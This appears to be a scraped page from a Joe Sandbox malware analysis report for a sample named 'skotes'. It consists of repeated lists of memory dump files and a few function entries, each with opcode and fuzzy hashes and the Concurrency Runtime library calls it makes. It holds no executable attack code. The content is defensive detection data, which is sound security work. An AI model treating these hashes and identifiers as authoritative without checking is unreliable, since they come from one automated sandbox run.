Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 84e16e52f2e5dd7edd4d49a1da32014e18c9ba7828af1385543391a32b268682
Instruction ID: 25c9cbfb67e82b4c33cee6ca6997177a49d8a1f56312b099438a9af389f931a0
Opcode Fuzzy Hash: 84e16e52f2e5dd7edd4d49a1da32014e18c9ba7828af1385543391a32b268682
Instruction Fuzzy Hash: AC2186769085159FDB05EF64D882DAEB7F4EF06310B2040FAF152AB261EB316E41DB51

Function 00BAA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00BAA069

Part of subcall function 00BAB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00BAB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00BAA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00BAA0CB

Part of subcall function 00BAAB41: List.LIBCONCRT ref: 00BAAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00BAA0DB

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: b53c57c2f0ac18bf0f6d18651b5f7c1fdd1d28fcb04ede04c1bad927e10b49bf
Instruction ID: 0d10bbe1229e041631c1e646d9851bbe47885fb29e1d5097b8d65b0eb5cf084f
Opcode Fuzzy Hash: b53c57c2f0ac18bf0f6d18651b5f7c1fdd1d28fcb04ede04c1bad927e10b49bf
Instruction Fuzzy Hash: 0621CC32904B149FCB24EF65D9A08ABF3F9FF49700700499EE442A7661DB34F905CBA2

Function 00BA4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BA4893
ListArray.LIBCONCRT ref: 00BA48A5

Part of subcall function 00BA5555: _InternalDeleteHelper.LIBCONCRT ref: 00BA5564

ListArray.LIBCONCRT ref: 00BA48AF
_InternalDeleteHelper.LIBCONCRT ref: 00BA48C8

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 5a4ea33fe6c8319bc4588cb3f7be8959dc7cd6b4cba799dc158c7760d06b2d77
Instruction ID: 43cda1ad2fd9a8d35e54c6104925abc9fe82ea5b5a5f7d68fb399efa170ae86c
Opcode Fuzzy Hash: 5a4ea33fe6c8319bc4588cb3f7be8959dc7cd6b4cba799dc158c7760d06b2d77
Instruction Fuzzy Hash: 7D01D632604521BFCE25BB65D8C2E6EB7EABF9671070001B9F40457612CB65EC2187A0

Function 00BAEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BAEE6A
ListArray.LIBCONCRT ref: 00BAEE7C

Part of subcall function 00BAEF29: _InternalDeleteHelper.LIBCONCRT ref: 00BAEF3B

ListArray.LIBCONCRT ref: 00BAEE86
_InternalDeleteHelper.LIBCONCRT ref: 00BAEE9F

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 0efa2b155e94a2ed92a49ba486e66b2d87d08eea1404f537d37eb280c1f94116
Instruction ID: 1ecc731f73890ede55e563eb4be5fc1a0f912d75cdc2e68cfae45d0705a1d239
Opcode Fuzzy Hash: 0efa2b155e94a2ed92a49ba486e66b2d87d08eea1404f537d37eb280c1f94116
Instruction Fuzzy Hash: 6C01A432604621BFDE25BB61D9C2E7EBBE9FF86710B0544B9F41497612CB21FC2196E0

Function 00BAD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BAD0C5
ListArray.LIBCONCRT ref: 00BAD0D7

Part of subcall function 00BAC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00BAC6C4

ListArray.LIBCONCRT ref: 00BAD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00BAD0FA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
